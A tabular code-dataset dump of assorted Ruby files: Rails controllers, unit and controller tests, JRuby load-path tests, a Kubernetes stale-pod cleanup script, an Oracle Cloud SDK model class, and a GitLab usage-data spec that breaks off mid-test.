hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
6106e01267efba00f6964e341ae593f852be529a | 39 | module NYCCorp
VERSION = "0.1.0"
end
| 9.75 | 19 | 0.666667 |
e202d4be9ab335e02953101c0e1d8f983f4fa2ed | 809 | class Rpt::AttendeeReportsController < Rpt::AbstractReportController
def show
@attendees = Attendee.yr(@year).with_planlessness(planlessness)
respond_to do |format|
format.html do
@attendee_count = @attendees.count
@user_count = User.yr(@year).count
@planless_attendee_count = Attendee.yr(@year).planless.count
@planful_attendee_count = Attendee.yr(@year).count - @planless_attendee_count
render :show
end
format.csv do
csv = AttendeesCsvExporter.render(@year, @attendees)
send_data csv, filename: csv_filename, type: 'text/csv'
end
end
end
private
def csv_filename
"usgc_attendees_#{Time.current.strftime("%Y-%m-%d")}.csv"
end
def planlessness
p = params[:planlessness]
%w[all planful planless].include?(p) ? p.to_sym : :all
end
end
| 25.28125 | 83 | 0.71199 |
e2744d36bc55f6a977138effba5425ef465f5ba4 | 1,501 | class QuestionsController < ApplicationController
before_action :find_question, except: [:new, :create]
before_action :validate_admin
def show
respond_to do |format|
format.html { render :show }
format.json { render json: @question}
end
end
def new
@concept = Concept.find(params[:concept_id])
@question = Question.new()
end
def create
@concept = Concept.find(params[:concept_id])
@question = Question.create(question_params)
question_action(:save, 'create')
end
def edit
@wrong_answers = @question.wrong_answers
end
def update
@question.update(question_params)
question_action(:save, "update")
end
def destroy
question_action(:destroy, "delete")
end
private
def find_question
@question = Question.find(params[:id])
@concept = @question.concept
end
def question_action(action, type)
if @question.send(action)
redirect_to concept_path(@concept), {notice: "Successfully #{type}d question!"}
else
case type
when "update"
render :edit
when "create"
render :new
else
redirect_to request.referrer, {alert: "Sorry, could not #{type} question!"}
end
end
end
def rando_params
params.require(:rando).permit(:name, :question_id)
end
def question_params
params.require(:question).permit(:inquest, :answer, :concept_id, :user_id, :difficulty, wrong_answers: [])
end
end
| 24.606557 | 112 | 0.652232 |
b90f4d8344272d357429f8dc0bacd5884facf965 | 4,887 | require 'test_helper'
require "authlogic/test_case" # include at the top of test_helper.rb
class RecipesControllerTest < ActionController::TestCase
setup do
@recipe = recipes(:one)
end
setup :activate_authlogic
test "should get index" do
get :index
assert_response :success
get :index, format: 'json'
assert_response :success
end
test "should be redirect to signin_path on get new" do
get :new
assert_redirected_to signup_path
end
test "should be redirect to a random recipe path" do
get :shuffle
assert_redirected_to %r(/recipes/[0-9]+)
end
test "should get new" do
UserSession.create(users(:ben))
get :new
assert_response :success
end
test "should not create recipe because no one is connected" do
assert_no_difference('Recipe.count') do
post :create, recipe: { name: "hello" }
end
end
test "should create a recipe" do
UserSession.create(users(:ben))
assert_difference('Recipe.count', 1) do
post :create, recipe: { name: "hello" }
end
end
test "should import a recipe from 750g" do
UserSession.create(users(:ben))
assert_difference('Recipe.count', 1) do
post :create, recipe: { name: "http://www.750g.com/bowl-cake-r100568.htm" }
end
end
test "should import a recipe from marmiton" do
UserSession.create(users(:ben))
assert_difference('Recipe.count', 1) do
post :create, recipe: { name: "http://www.750g.com/bowl-cake-r100568.htm" }
end
end
test "should import a recipe from cuisineaz" do
UserSession.create(users(:ben))
assert_difference('Recipe.count', 1) do
post :create, recipe: { name: "http://www.cuisineaz.com/recettes/roules-de-poulet-et-jambon-farcis-sauce-foie-gras-66302.aspx" }
end
end
test "should not import a recipe because url is not valid" do
UserSession.create(users(:ben))
assert_no_difference('Recipe.count') do
post :create, recipe: { name: "https://www.google.fr" }
assert_redirected_to new_recipe_path
end
end
test "should be redirected to signup path when non-logged user want create a recipe" do
get :create
assert_redirected_to signup_path
end
test "should show recipe" do
get :show, id: @recipe
assert_response :success
get :show, id: @recipe, format: 'json'
assert_response :success
end
test "should show recipe by it's slug" do
@recipe.name = 'an very unique name'
@recipe.save!
get :show, id: @recipe.friendly_id
assert_response :success
get :show, id: @recipe.friendly_id, format: 'json'
assert_response :success
end
test "should be redirect to signin_path on Recipes#Edit" do
get :edit, id: @recipe
assert_redirected_to signup_path
end
test "should edit recipe" do
#try to edit as me
UserSession.create(users(:me))
get :edit, id: @recipe
assert_response :success
end
test "should not edit recipe because current_user is not the author" do
#try to edit as me
UserSession.create(users(:ben))
get :edit, id: @recipe
assert_redirected_to '/'
end
test "should not add allergens recipe" do
assert_no_difference '@recipe.allergens.count' do
patch :update, id: @recipe, recipe: { allergens: { 1 => 1}}
end
end
test "should add allergens recipe" do
UserSession.create(users(:me))
assert_difference '@recipe.allergens.count' do
patch :update, id: @recipe, recipe: { allergens: { 1 => 1}}
end
end
test "should remove allergens recipe" do
UserSession.create(users(:me))
@recipe.allergens << Allergen.find(1)
assert_difference '@recipe.allergens.count', -1 do
patch :update, id: @recipe, recipe: { allergens: {}}
end
end
test "should update recipe" do
UserSession.create(users(:me))
patch :update, id: @recipe, recipe: { ingredients: 'hello' }
@recipe.reload
assert_equal 'hello', @recipe.ingredients
# if recipe was savec correctly, we should get a new slug so we should be redirected to friendly url
end
test "should not update recipe because current_user is not the author" do
UserSession.create(users(:ben))
patch :update, id: @recipe, recipe: { name: 'hello' }
assert_redirected_to '/'
end
test "should destroy recipe" do
UserSession.create(users(:me))
assert_difference('Recipe.count', -1) do
delete :destroy, id: @recipe
end
end
test "should not destroy recipe because current_user is not the author" do
UserSession.create(users(:ben))
assert_no_difference('Recipe.count') do
delete :destroy, id: @recipe
end
end
test "should increment number of view when a recipe is consulted" do
recipe = recipes(:one)
assert_difference('recipe.count_views', 1) do
get :show, id: recipe
assert_response :success
end
end
end
| 24.933673 | 134 | 0.679558 |
62791e224cf999be8803d8a566722ecf21cf40f2 | 27 | require "inline_attachment" | 27 | 27 | 0.888889 |
8715c94eb7b76c9d9176f3a8c9c45f5d35c8f8a2 | 242 | FactoryGirl.define do
factory :kudoer do
first_name "Lukasz"
last_name "Lenart"
email "lukasz@sml.com"
password "testtest"
password_confirmation "testtest"
end
end
| 20.166667 | 42 | 0.549587 |
b94e402464dabbdda2b0b4934e76d19404c0bd44 | 1,323 | #!/usr/bin/env ruby
require File.join(".", File.dirname(__FILE__), "..", "lib", "cp_env")
# This script will delete any pods which are:
#
# * not part of a ReplicaSet
# * and not in kube-system
# * and have been running for more than 2 days
#
# Such pods prevent the node-recycler from draining a node to
# replace it.
#
# NB: The script has a 'dry-run' mode, in which pods will be listed
# but not deleted. To use this, pass the string `--dry-run` as the
# first and only argument.
#
# Developers need to run manual pods for tasks such as port-forwarding
# to a database, but there's no good reason for such a pod to still be
# running after 48 hours. If pods should always be running, they should
# be part of a deployment (and hence a ReplicaSet).
#
# The script requires the following environment variables:
#
# export PIPELINE_CLUSTER=live-1.cloud-platform.service.justice.gov.uk
#
# It also needs to be able to run:
#
# kubectl config use-context #{cluster}
#
cluster = ENV.fetch("PIPELINE_CLUSTER")
dry_run = ARGV.shift == "--dry-run"
if dry_run
log("green", "Dry run: detecting manually created pods in #{cluster}")
else
log("green", "Deleting manually created pods in #{cluster}")
end
set_kube_context(cluster)
CpEnv::ManuallyCreatedPodDeleter.new(dry_run: dry_run).run
log("green", "Done.")
| 28.148936 | 72 | 0.717309 |
1aeeb8da29e9f3b7fe7fa583651257a31a2324c6 | 6,510 | require 'haml_lint/cli'
describe HamlLint::CLI do
let(:io) { StringIO.new }
let(:output) { io.string }
let(:logger) { HamlLint::Logger.new(io) }
let(:cli) { described_class.new(logger) }
describe '#run' do
subject { cli.run(args) }
let(:args) { [] }
let(:options) { HamlLint::Options.new }
it 'passes the arguments to the Options#parse method' do
HamlLint::Options.any_instance.should_receive(:parse).with(args)
subject
end
context 'when no arguments are given' do
before { HamlLint::Runner.any_instance.stub(:run) }
it 'scans for lints' do
HamlLint::Runner.any_instance.should_receive(:run)
subject
end
end
context 'when arguments are given' do
let(:args) { %w[file.haml some-view-*.haml] }
before { HamlLint::Runner.any_instance.stub(:run) }
it 'scans for lints' do
HamlLint::Runner.any_instance.should_receive(:run)
subject
end
end
context 'when passed the --color flag' do
let(:args) { ['--color'] }
it 'sets the logger to output in color' do
subject
logger.color_enabled.should == true
end
context 'and the output stream is not a TTY' do
before do
io.stub(:tty?).and_return(false)
end
it 'sets the logger to output in color' do
subject
logger.color_enabled.should == true
end
end
end
context 'when passed the --no-color flag' do
let(:args) { ['--no-color'] }
it 'sets the logger to not output in color' do
subject
logger.color_enabled.should == false
end
end
context 'when --[no-]color flag is not specified' do
before do
io.stub(:tty?).and_return(tty)
end
context 'and the output stream is a TTY' do
let(:tty) { true }
it 'sets the logger to output in color' do
subject
logger.color_enabled.should == true
end
end
context 'and the output stream is not a TTY' do
let(:tty) { false }
it 'sets the logger to not output in color' do
subject
logger.color_enabled.should == false
end
end
end
context 'when passed the --show-linters flag' do
let(:args) { ['--show-linters'] }
let(:fake_linter) do
linter = double('linter')
linter.stub(:name).and_return('FakeLinter')
linter
end
before do
HamlLint::LinterRegistry.stub(:linters).and_return([fake_linter])
end
it 'displays the available linters' do
subject
output.should include 'FakeLinter'
end
it { should == Sysexits::EX_OK }
end
context 'when passed the --show-reporters flag' do
let(:args) { ['--show-reporters'] }
it 'displays the available reporters' do
subject
output.should include 'default'
output.should include 'json'
end
it { should == Sysexits::EX_OK }
end
context 'when passed the --help flag' do
let(:args) { ['--help'] }
it 'displays usage information' do
subject
output.should include HamlLint::APP_NAME
output.should include 'Usage'
end
end
context 'when passed the --version flag' do
let(:args) { ['--version'] }
it 'displays the application name' do
subject
output.should include HamlLint::APP_NAME
end
it 'displays the version' do
subject
output.should include HamlLint::VERSION
end
end
context 'when passed the --verbose-version flag' do
let(:args) { ['--verbose-version'] }
it 'displays the application name' do
subject
output.should include HamlLint::APP_NAME
end
it 'displays the version' do
subject
output.should include HamlLint::VERSION
end
it 'displays the Haml version' do
subject
output.should include "haml #{Gem.loaded_specs['haml'].version}"
end
it 'displays the RuboCop version' do
subject
output.should include "rubocop #{Gem.loaded_specs['rubocop'].version}"
end
it 'displays the Ruby version' do
subject
output.should include RUBY_DESCRIPTION
end
end
context 'when a ConfigurationError is raised' do
before do
cli.stub(:act_on_options).and_raise(HamlLint::Exceptions::ConfigurationError)
end
it { should == Sysexits::EX_CONFIG }
end
context 'when an InvalidCLIOption error is raised' do
before do
cli.stub(:act_on_options).and_raise(HamlLint::Exceptions::InvalidCLIOption)
end
it { should == Sysexits::EX_USAGE }
end
context 'when an InvalidFilePath error is raised' do
before do
cli.stub(:act_on_options).and_raise(HamlLint::Exceptions::InvalidFilePath)
end
it { should == Sysexits::EX_NOINPUT }
end
context 'when a NoLintersError is raised' do
before do
cli.stub(:act_on_options).and_raise(HamlLint::Exceptions::NoLintersError)
end
it { should == Sysexits::EX_NOINPUT }
end
context 'when an unhandled exception occurs' do
let(:backtrace) { %w[file1.rb:1 file2.rb:2] }
let(:error_msg) { 'Oops' }
let(:exception) do
StandardError.new(error_msg).tap { |e| e.set_backtrace(backtrace) }
end
before { cli.stub(:act_on_options).and_raise(exception) }
it 'displays error message' do
subject
output.should include error_msg
end
it 'displays backtrace' do
subject
output.should include backtrace.join("\n")
end
it 'displays link to bug report URL' do
subject
output.should include HamlLint::BUG_REPORT_URL
end
it 'displays the Haml-Lint version' do
subject
output.should include "Haml-Lint version: #{HamlLint::VERSION}"
end
it 'displays the Haml version' do
subject
output.should include "Haml version: #{Gem.loaded_specs['haml'].version}"
end
it 'displays the RuboCop version' do
subject
output.should include "RuboCop version: #{Gem.loaded_specs['rubocop'].version}"
end
it 'displays the Ruby version' do
subject
output.should include "Ruby version: #{RUBY_VERSION}"
end
it { should == Sysexits::EX_SOFTWARE }
end
end
end
| 25.135135 | 87 | 0.606912 |
628e925d79dd6dc03fd4d505460da140464f691a | 2,253 | require 'rack/builder'
require 'warden'
require 'rails_warden' if defined?('Rails')
require 'omniauth-music_glue'
require 'music_glue/tyson/middleware'
require 'music_glue/tyson/missing_authentication'
require 'music_glue/tyson/strategies/omniauth'
class MusicGlue::Tyson::Builder
def self.new(app, options = {})
builder = ::Rack::Builder.new
warden_stratagies = options[:warden_stratagies] || [:omniauth]
warden_failure_app = options[:failure_app] || MusicGlue::Tyson::MissingAuthentication
@user_authenticator = options[:user_authenticator]
oauth_id, oauth_secret, oauth_options = extract_options!(options)
unless options[:disabled]
builder.use OmniAuth::Builder do
provider :music_glue, oauth_id, oauth_secret, oauth_options
end
builder.use(Rack::Session::Cookie, :secret => "COOKIES") unless defined?('RailsWarden')
builder.use warden_manager do |manager|
manager.default_strategies warden_stratagies
manager.failure_app = warden_failure_app
Warden::Strategies.add :omniauth, MusicGlue::Tyson::Strategies::Omniauth
Warden::Manager.serialize_into_session do |user|
user.attributes
end
Warden::Manager.serialize_from_session do |attrs|
MusicGlue::Tyson::User.new attrs
end
end
end
builder.run MusicGlue::Tyson::Middleware.new(app, options)
builder
end
def self.extract_options!(options)
oauth = options[:oauth] || {}
oauth_options = options[:oauth_options] || {}
id, secret = oauth[:id], oauth[:secret]
if id.nil? || secret.nil? || id.empty? || secret.empty?
if options[:fail_without_config]
fail 'music_glue-tyson requires :id and :secret oauth options in this environment.'
else
logger.warn "music_glue-tyson is disabled because it's :id or :secret oauth options are missing."
end
options[:disabled] = true
end
[id, secret, oauth_options]
end
def self.logger
@logger ||= if defined?('Rails')
Rails.logger
else
Logger.new STDOUT
end
end
def self.warden_manager
if defined?('RailsWarden')
RailsWarden::Manager
else
Warden::Manager
end
end
end
| 26.505882 | 105 | 0.681758 |
1d1dd60a973af6c929d23a989bed2266e39228e6 | 6,296 | # Copyright (c) 2016, 2019, Oracle and/or its affiliates. All rights reserved.
require 'date'
require 'logger'
# rubocop:disable Lint/UnneededCopDisableDirective, Metrics/LineLength
module OCI
# An object returned in the event of a work request error.
class LoadBalancer::Models::WorkRequestError
ERROR_CODE_ENUM = [
ERROR_CODE_BAD_INPUT = 'BAD_INPUT'.freeze,
ERROR_CODE_INTERNAL_ERROR = 'INTERNAL_ERROR'.freeze,
ERROR_CODE_UNKNOWN_ENUM_VALUE = 'UNKNOWN_ENUM_VALUE'.freeze
].freeze
# This attribute is required.
# @return [String]
attr_reader :error_code
# **[Required]** A human-readable error string.
# @return [String]
attr_accessor :message
# Attribute mapping from ruby-style variable name to JSON key.
def self.attribute_map
{
# rubocop:disable Style/SymbolLiteral
'error_code': :'errorCode',
'message': :'message'
# rubocop:enable Style/SymbolLiteral
}
end
# Attribute type mapping.
def self.swagger_types
{
# rubocop:disable Style/SymbolLiteral
'error_code': :'String',
'message': :'String'
# rubocop:enable Style/SymbolLiteral
}
end
# rubocop:disable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:disable Metrics/MethodLength, Layout/EmptyLines, Style/SymbolLiteral
# Initializes the object
# @param [Hash] attributes Model attributes in the form of hash
# @option attributes [String] :error_code The value to assign to the {#error_code} property
# @option attributes [String] :message The value to assign to the {#message} property
def initialize(attributes = {})
return unless attributes.is_a?(Hash)
# convert string to symbol for hash key
attributes = attributes.each_with_object({}) { |(k, v), h| h[k.to_sym] = v }
self.error_code = attributes[:'errorCode'] if attributes[:'errorCode']
raise 'You cannot provide both :errorCode and :error_code' if attributes.key?(:'errorCode') && attributes.key?(:'error_code')
self.error_code = attributes[:'error_code'] if attributes[:'error_code']
self.message = attributes[:'message'] if attributes[:'message']
end
# rubocop:enable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:enable Metrics/MethodLength, Layout/EmptyLines, Style/SymbolLiteral
# Custom attribute writer method checking allowed values (enum).
# @param [Object] error_code Object to be assigned
def error_code=(error_code)
# rubocop:disable Style/ConditionalAssignment
if error_code && !ERROR_CODE_ENUM.include?(error_code)
OCI.logger.debug("Unknown value for 'error_code' [" + error_code + "]. Mapping to 'ERROR_CODE_UNKNOWN_ENUM_VALUE'") if OCI.logger
@error_code = ERROR_CODE_UNKNOWN_ENUM_VALUE
else
@error_code = error_code
end
# rubocop:enable Style/ConditionalAssignment
end
# rubocop:disable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity, Layout/EmptyLines
# Checks equality by comparing each attribute.
# @param [Object] other the other object to be compared
def ==(other)
return true if equal?(other)
self.class == other.class &&
error_code == other.error_code &&
message == other.message
end
# rubocop:enable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity, Layout/EmptyLines
# @see the `==` method
# @param [Object] other the other object to be compared
def eql?(other)
self == other
end
# rubocop:disable Metrics/AbcSize, Layout/EmptyLines
# Calculates hash code according to all attributes.
# @return [Fixnum] Hash code
def hash
[error_code, message].hash
end
# rubocop:enable Metrics/AbcSize, Layout/EmptyLines
# rubocop:disable Metrics/AbcSize, Layout/EmptyLines
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.swagger_types.each_pair do |key, type|
if type =~ /^Array<(.*)>/i
# check to ensure the input is an array given that the the attribute
# is documented as an array but the input is not
if attributes[self.class.attribute_map[key]].is_a?(Array)
public_method("#{key}=").call(
attributes[self.class.attribute_map[key]]
.map { |v| OCI::Internal::Util.convert_to_type(Regexp.last_match(1), v) }
)
end
elsif !attributes[self.class.attribute_map[key]].nil?
public_method("#{key}=").call(
OCI::Internal::Util.convert_to_type(type, attributes[self.class.attribute_map[key]])
)
end
# or else data not found in attributes(hash), not an issue as the data can be optional
end
self
end
# rubocop:enable Metrics/AbcSize, Layout/EmptyLines
# Returns the string representation of the object
# @return [String] String presentation of the object
def to_s
to_hash.to_s
end
# Returns the object in the form of hash
# @return [Hash] Returns the object in the form of hash
def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = public_method(attr).call
next if value.nil? && !instance_variable_defined?("@#{attr}")
hash[param] = _to_hash(value)
end
hash
end
private
# Outputs non-array value in the form of hash
# For object, use to_hash. Otherwise, just return the value
# @param [Object] value Any valid value
# @return [Hash] Returns the value in the form of hash
def _to_hash(value)
if value.is_a?(Array)
value.compact.map { |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end
end
end
# rubocop:enable Lint/UnneededCopDisableDirective, Metrics/LineLength
| 34.217391 | 137 | 0.66979 |
edb44075e377b6e0453f0f001290b2cfa56fc903 | 66 | class AuthToken < ApplicationRecord
has_secure_token :value
end
| 16.5 | 35 | 0.833333 |
edecfcfefc8a1769074a510ee5a1cdf3e24e200c | 260 | class EnPayment < ApplicationRecord
belongs_to :consumer
validates :day, numericality: { less_than_or_equal_to: 31, greater_than: 0 }
validates :percent, numericality: { less_than_or_equal_to: 100, greater_than: 0 }
validates_with PercentValidator
end
| 37.142857 | 83 | 0.796154 |
e26d06004eaf827eef84068d5eae3846888d9306 | 6,023 | require 'test/unit'
require 'test/test_helper'
require 'rbconfig'
require 'jruby/path_helper'
def load_behavior_block(&block)
eval("__FILE__", block.binding)
end
class TestLoad < Test::Unit::TestCase
include TestHelper
def setup
@prev_loaded_features = $LOADED_FEATURES.dup
@prev_load_path = $LOAD_PATH.dup
end
def teardown
$LOADED_FEATURES.clear
$LOADED_FEATURES.concat(@prev_loaded_features)
$LOAD_PATH.clear
$LOAD_PATH.concat(@prev_load_path)
end
def test_require
# Allow us to run MRI against non-Java dependent tests
if RUBY_PLATFORM=~/java/
$ruby_init = false
file = __FILE__
if (File::Separator == '\\')
file.gsub!('\\\\', '/')
end
# JRUBY-1229, allow loading jar files without manifest
assert_nothing_raised {
require "test/jar_with_no_manifest.jar"
}
end
assert require('test/requireTarget')
assert !require('test/requireTarget')
$loaded_foo_bar = false
assert require('test/foo.bar')
assert $loaded_foo_bar
end
# JRUBY-3231
def test_load_with_empty_string_in_loadpath
begin
$:.unshift("")
$loaded_foo_bar = false
assert load('test/foo.bar.rb')
assert $loaded_foo_bar
ensure
$:.shift
end
end
def test_require_bogus
assert_raises(LoadError) { require 'foo/' }
assert_raises(LoadError) { require '' }
# Yes, the following line is supposed to appear twice
assert_raises(LoadError) { require 'NonExistantRequriedFile'}
assert_raises(LoadError) { require 'NonExistantRequriedFile'}
end
def test_require_jar_should_make_its_scripts_accessible
$hello = nil
require 'test/jar_with_ruby_files'
require 'hello_from_jar'
assert "hi", $hello
end
def test_require_nested_jar_should_make_its_scripts_accessible
$hello = nil
require 'test/jar_with_ruby_files_in_jar'
require 'jar_with_ruby_file'
require 'hello_from_nested_jar'
assert "hi from nested jar", $hello
end
def test_require_nested_jar_enables_class_loading_from_that_jar
require 'test/jar_with_nested_classes_jar'
require 'jar_with_classes'
java_import "test.HelloThere"
assert HelloThere.new.message
end
def call_extern_load_foo_bar(classpath = nil)
cmd = ""
cmd += "env CLASSPATH=#{classpath}" # classpath=nil, becomes empty CLASSPATH
cmd += " #{Config::CONFIG['bindir']}/#{Config::CONFIG['RUBY_INSTALL_NAME']} -e "
cmd += "'"+'begin load "./test/foo.bar.rb"; rescue Exception => e; print "FAIL"; else print "OK"; end'+"'"
`#{cmd}`
end
unless WINDOWS # FIXME for Windows
def test_load_relative_with_classpath
assert_equal call_extern_load_foo_bar(File.join('test', 'jar_with_ruby_files.jar')), 'OK'
end
def test_load_relative_with_classpath_ends_colon
assert_equal call_extern_load_foo_bar(File.join('test', 'jar_with_ruby_files.jar') + ':'), 'OK'
end
def test_load_relative_without_classpath
assert_equal 'OK', call_extern_load_foo_bar()
end
end
def test_require_with_non_existent_jar_1
$:.unshift "file:/someHopefullyUnexistentJarFile.jar/"
filename = File.join(File.dirname(__FILE__), "blargus1.rb")
require_name = File.join(File.dirname(__FILE__), "blargus1")
assert !defined?($_blargus_has_been_loaded_oh_yeah_baby_1)
File.open(filename, "w") do |f|
f.write <<OUT
$_blargus_has_been_loaded_oh_yeah_baby_1 = true
OUT
end
require require_name
assert $_blargus_has_been_loaded_oh_yeah_baby_1
ensure
File.unlink(filename) rescue nil
$:.shift
end
def test_require_with_non_existent_jar_2
$:.unshift "file:/someHopefullyUnexistentJarFile.jar"
filename = File.join(File.dirname(__FILE__), "blargus2.rb")
require_name = File.join(File.dirname(__FILE__), "blargus2")
assert !defined?($_blargus_has_been_loaded_oh_yeah_baby_2)
File.open(filename, "w") do |f|
f.write <<OUT
$_blargus_has_been_loaded_oh_yeah_baby_2 = true
OUT
end
require require_name
assert $_blargus_has_been_loaded_oh_yeah_baby_2
ensure
File.unlink(filename) rescue nil
$:.shift
end
def test_require_with_non_existent_jar_3
$:.unshift "file:/someHopefullyUnexistentJarFile.jar!/dir/inside/that/doesnt/work"
filename = File.join(File.dirname(__FILE__), "blargus3.rb")
require_name = File.join(File.dirname(__FILE__), "blargus3")
assert !defined?($_blargus_has_been_loaded_oh_yeah_baby_3)
File.open(filename, "w") do |f|
f.write <<OUT
$_blargus_has_been_loaded_oh_yeah_baby_3 = true
OUT
end
require require_name
assert $_blargus_has_been_loaded_oh_yeah_baby_3
ensure
File.unlink(filename) rescue nil
$:.shift
end
def test_overriding_require_shouldnt_cause_problems
eval(<<DEPS, binding, "deps")
class ::Object
alias old_require require
def require(file)
old_require(file)
end
end
DEPS
require 'test/test_loading_behavior'
res = File.expand_path($loading_behavior_result)
assert_equal File.expand_path(File.join('test', 'test_loading_behavior.rb')), res
end
# JRUBY-3894
def test_require_relative_from_jar_in_classpath
$CLASSPATH << File.join(
File.dirname(__FILE__), 'jar_with_relative_require1.jar')
require 'test/require_relative1'
assert $loaded_relative_foo
end
# JRUBY-4875
def test_require_relative_from_jar_in_classpath_with_different_cwd
Dir.chdir("test") do
$CLASSPATH << File.join(File.dirname(__FILE__), 'jar_with_relative_require1.jar')
require 'test/require_relative1'
assert $loaded_relative_foo
end
end
def test_loading_jar_with_dot_so
assert_nothing_raised {
require 'test/jruby-3977.so.jar'
load 'jruby-3977.rb'
assert $jruby3977
}
end
# JRUBY-5045
def test_cwd_plus_dotdot_jar_loading
$hello = nil
require './test/../test/jar_with_ruby_files'
require 'hello_from_jar'
assert "hi", $hello
end
end
| 26.073593 | 110 | 0.716088 |
1aa2cbb548539e41c03c6ed4878ba40512cce3a9 | 61,515 | # frozen_string_literal: true
require 'spec_helper'
RSpec.describe Gitlab::UsageData, :aggregate_failures do
include UsageDataHelpers
before do
stub_usage_data_connections
stub_object_store_settings
clear_memoized_values(described_class::CE_MEMOIZED_VALUES)
end
describe '.uncached_data' do
subject { described_class.uncached_data }
it 'includes basic top and second level keys' do
is_expected.to include(:counts)
is_expected.to include(:counts_monthly)
is_expected.to include(:counts_weekly)
is_expected.to include(:license)
is_expected.to include(:settings)
# usage_activity_by_stage data
is_expected.to include(:usage_activity_by_stage)
is_expected.to include(:usage_activity_by_stage_monthly)
expect(subject[:usage_activity_by_stage])
.to include(:configure, :create, :manage, :monitor, :plan, :release, :verify)
expect(subject[:usage_activity_by_stage_monthly])
.to include(:configure, :create, :manage, :monitor, :plan, :release, :verify)
expect(subject[:usage_activity_by_stage][:create])
.not_to include(:merge_requests_users)
expect(subject[:usage_activity_by_stage_monthly][:create])
.to include(:merge_requests_users)
expect(subject[:counts_weekly]).to include(:aggregated_metrics)
expect(subject[:counts_monthly]).to include(:aggregated_metrics)
end
it 'clears memoized values' do
allow(described_class).to receive(:clear_memoization)
subject
described_class::CE_MEMOIZED_VALUES.each do |key|
expect(described_class).to have_received(:clear_memoization).with(key)
end
end
it 'ensures recorded_at is set before any other usage data calculation' do
%i(alt_usage_data redis_usage_data distinct_count count).each do |method|
expect(described_class).not_to receive(method)
end
expect(described_class).to receive(:recorded_at).and_raise(Exception.new('Stopped calculating recorded_at'))
expect { subject }.to raise_error('Stopped calculating recorded_at')
end
context 'when generating usage ping in critical weeks' do
it 'does not raise error when generated in last week of the year' do
travel_to(DateTime.parse('2020-12-29')) do
expect { subject }.not_to raise_error
end
end
it 'does not raise error when generated in first week of the year' do
travel_to(DateTime.parse('2021-01-01')) do
expect { subject }.not_to raise_error
end
end
it 'does not raise error when generated in second week of the year' do
travel_to(DateTime.parse('2021-01-07')) do
expect { subject }.not_to raise_error
end
end
it 'does not raise error when generated in 3rd week of the year' do
travel_to(DateTime.parse('2021-01-14')) do
expect { subject }.not_to raise_error
end
end
end
end
describe 'usage_activity_by_stage_package' do
it 'includes accurate usage_activity_by_stage data' do
for_defined_days_back do
create(:project, packages: [create(:package)] )
end
expect(described_class.usage_activity_by_stage_package({})).to eq(
projects_with_packages: 2
)
expect(described_class.usage_activity_by_stage_package(described_class.last_28_days_time_period)).to eq(
projects_with_packages: 1
)
end
end
describe '.usage_activity_by_stage_configure' do
it 'includes accurate usage_activity_by_stage data' do
for_defined_days_back do
user = create(:user)
cluster = create(:cluster, user: user)
create(:clusters_applications_cert_manager, :installed, cluster: cluster)
create(:clusters_applications_helm, :installed, cluster: cluster)
create(:clusters_applications_ingress, :installed, cluster: cluster)
create(:clusters_applications_knative, :installed, cluster: cluster)
create(:cluster, :disabled, user: user)
create(:cluster_provider_gcp, :created)
create(:cluster_provider_aws, :created)
create(:cluster_platform_kubernetes)
create(:cluster, :group, :disabled, user: user)
create(:cluster, :group, user: user)
create(:cluster, :instance, :disabled, :production_environment)
create(:cluster, :instance, :production_environment)
create(:cluster, :management_project)
end
expect(described_class.usage_activity_by_stage_configure({})).to include(
clusters_applications_cert_managers: 2,
clusters_applications_helm: 2,
clusters_applications_ingress: 2,
clusters_applications_knative: 2,
clusters_management_project: 2,
clusters_disabled: 4,
clusters_enabled: 12,
clusters_platforms_gke: 2,
clusters_platforms_eks: 2,
clusters_platforms_user: 2,
instance_clusters_disabled: 2,
instance_clusters_enabled: 2,
group_clusters_disabled: 2,
group_clusters_enabled: 2,
project_clusters_disabled: 2,
project_clusters_enabled: 10
)
expect(described_class.usage_activity_by_stage_configure(described_class.last_28_days_time_period)).to include(
clusters_applications_cert_managers: 1,
clusters_applications_helm: 1,
clusters_applications_ingress: 1,
clusters_applications_knative: 1,
clusters_management_project: 1,
clusters_disabled: 2,
clusters_enabled: 6,
clusters_platforms_gke: 1,
clusters_platforms_eks: 1,
clusters_platforms_user: 1,
instance_clusters_disabled: 1,
instance_clusters_enabled: 1,
group_clusters_disabled: 1,
group_clusters_enabled: 1,
project_clusters_disabled: 1,
project_clusters_enabled: 5
)
end
end
describe 'usage_activity_by_stage_create' do
it 'includes accurate usage_activity_by_stage data' do
for_defined_days_back do
user = create(:user)
project = create(:project, :repository_private,
:test_repo, :remote_mirror, creator: user)
create(:merge_request, source_project: project)
create(:deploy_key, user: user)
create(:key, user: user)
create(:project, creator: user, disable_overriding_approvers_per_merge_request: true)
create(:project, creator: user, disable_overriding_approvers_per_merge_request: false)
create(:remote_mirror, project: project)
create(:snippet, author: user)
end
expect(described_class.usage_activity_by_stage_create({})).to include(
deploy_keys: 2,
keys: 2,
merge_requests: 2,
projects_with_disable_overriding_approvers_per_merge_request: 2,
projects_without_disable_overriding_approvers_per_merge_request: 4,
remote_mirrors: 2,
snippets: 2
)
expect(described_class.usage_activity_by_stage_create(described_class.last_28_days_time_period)).to include(
deploy_keys: 1,
keys: 1,
merge_requests: 1,
projects_with_disable_overriding_approvers_per_merge_request: 1,
projects_without_disable_overriding_approvers_per_merge_request: 2,
remote_mirrors: 1,
snippets: 1
)
end
end
describe 'usage_activity_by_stage_manage' do
it 'includes accurate usage_activity_by_stage data' do
stub_config(
omniauth:
{ providers: omniauth_providers }
)
allow(Devise).to receive(:omniauth_providers).and_return(%w(ldapmain ldapsecondary group_saml))
for_defined_days_back do
user = create(:user)
user2 = create(:user)
create(:event, author: user)
create(:group_member, user: user)
